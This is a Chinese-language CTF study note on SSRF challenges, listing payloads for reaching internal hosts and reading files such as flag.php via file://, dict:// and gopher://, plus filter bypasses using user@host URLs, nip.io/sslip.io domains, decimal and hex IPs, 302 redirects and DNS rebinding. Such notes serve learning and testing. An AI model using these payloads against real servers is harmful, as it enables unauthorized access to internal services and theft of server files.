a-04-ssrf-内网访问绕过
ssrf-内网访问
ssrf类型题目
第一步想办法读源码
file:///var/www/html/index.php
总上手测试:
www.baidu.com
http://127.0.0.1:80
file:///var/www/html/flag.php
file:///var/www/html/index.php
www.baidu.com@127.0.0.1/flag.php
www.baidu.com.127.0.0.1.nip.io/flag.php
www.baidu.com.127.0.0.1.sslip.io/flag.php
www.baidu.com.127.0.0.1.xip.io/flag.php
数字ip绕过:https://www.osgeo.cn/app/sc126
http://7F000001/flag.php
http://2130706433/flag.php
localhost/flag.php
短域名绕过:https://www.duanlianjie.net/
dns重绑定:dnslog.cn
1.内网访问
?url=http://127.0.0.1/flag.php
伪协议读文件
?url=file:///var/www/html/flag.php
端口扫描
?url=http://127.0.0.1:8000 # 替换8000
?url=dict://127.0.0.1:8000 # 虽然可以用于端口探测,不推荐(dict字典网络协议)
2.post请求
(需要内网请求时用gopher例如访问和上传文件)
-1.访问
gopher://127.0.0.1:8000/'+'_'+new
-2.上传
上传却没有确定按钮,修改html代码
3.绕过
-1.url bypass 域名绕过
原理
当必须输入其中一个域名的时候,用@或者 任意前缀.127.0.0.1.nip.io/flag.php
利用方式1-用户名@主机名
http://www.baidu.com@127.0.0.1
等于http://127.0.0.1
利用方式2-免费的dns重定向
(前缀.127.0.0.1.nip.io/flag.php或者xip.io或者sslip.io)
http://www.xxx.com.127.0.0.1.nip.io/phpinfo.php
等于127.0.0.1/phpinfo.php
或者
xip.io是一个由37signals开发的免费DNS服务
http://www.xxx.com.127.0.0.1.xip.io/phpinfo.php
或者
http://www.abc.com.127.0.0.1.sslip.io/flag.php
-2.数字ip bypass
原理
不能使用127以及172.不能使用点分十进制的IP了,用数字ip绕过(ban了:127,@),这里都用的127.0.0.1的数字ip
利用方式
tool{IP地址,十六进制,二进制转换在线计算器,在线计算,在线计算器,计算器在线计算}
tool-数字ip转换
https://www.osgeo.cn/app/sc126
?url=http://2130706433/flag.php
?url=http://0x7F000001/flag.php
-3.302跳转 bypass
利用方式:
localhost
短域名
https://www.duanlianjie.net/
-4.dns重绑定 bypass
原理
(6 封私信 / 64 条消息) 浅谈DNS重绑定漏洞 - 知乎
- 攻击者控制一个域名并设置极短的TTL(如1秒)
- 第一次DNS查询返回合法外网IP(通过安全检查)
- 浏览器/服务器建立连接后,TTL过期
- 第二次DNS查询返回内网IP(实际攻击目标)
利用方式
tool-重绑定url:
https://lock.cmpxchg8b.com/rebinder.html # 不推荐,没复现
dnslog.cn(国内常用的DNS日志/重绑定服务) # 推荐

浙公网安备 33010602011771号